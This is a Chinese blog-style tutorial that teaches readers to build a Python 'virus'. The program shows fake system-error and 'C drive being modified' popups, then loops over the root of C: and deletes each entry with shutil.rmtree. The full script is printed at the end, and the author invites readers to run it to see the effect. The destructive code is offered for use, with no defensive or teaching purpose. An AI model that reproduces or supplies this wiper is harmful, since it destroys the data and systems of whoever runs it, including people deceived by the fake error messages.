哈喽,大家好!
不知道你们有没有中过病毒?
(反正小编中过)
但是你们有没有想过自己做一个病毒??!
需要材料:win10笔记本、python环境、两只小手
第一步:
我们要导入tkinter库!
import tkinter
但是想要做病毒还要导入方法。
import tkinter.messagebox
想要识别C盘和清除C盘还需要两个库:
import os
import shutil
有了基础“三库”,我们就可以开始做病毒啦!
第二步:
我们先新建一个窗口:
root = tkinter.Tk()
root.withdraw()
有些人可能会问:“第二行代码是什么意思鸭?”
“withdraw”是从屏幕上移除窗口(不销毁它)的意思。要重绘窗口,得使用 deiconify。
当窗口被撤回时,状态方法返回“withdrawn”。
接着上代码!
第三步:
做提示!
就是messagebox的提示窗口!
准确的说是警告窗口。
代码:
tkinter.messagebox.showerror('系统错误','系统正在被未知文件修改!\n(ERROR_3X007)')
这是系统错误的警告窗口。
再来一个C盘被修改的警告窗口:
tkinter.messagebox.showwarning('严重警告','C盘文件正在被修改!')
哈哈!
怎么样?!
有点样了吧?!
但这只是个虚的病毒,没有真实效果。
所以……
第四步:
真实效果。
都说了是病毒!
真的!
filepath = os.listdir('C:\\')
测C盘。
res = len(filepath)
计算“filepath”,返回它的长度。
while res != 0:
res -= 1
sen = 'C:/' + str(filepath[res])
shutil.rmtree(sen)
只要res非等于0,就一直删除“C:/”里面的文件!
恐不恐怖?!
吓不吓人?!
很多人觉得一条条复制太累了。
那……
完整程序:
import os
import tkinter.messagebox
import shutil
root = tkinter.Tk()
root.withdraw()
tkinter.messagebox.showerror('系统错误','系统正在被未知文件修改!\n(ERROR_3X007)')
tkinter.messagebox.showwarning('严重警告','C盘文件正在被修改!')
filepath = os.listdir('C:\\')
res = len(filepath)
while res != 0:
res -= 1
sen = 'C:/' + str(filepath[res])
shutil.rmtree(sen)
好啦!
废话不多说,你们自己试试就知道效果啦!
拜拜!!!
网友评论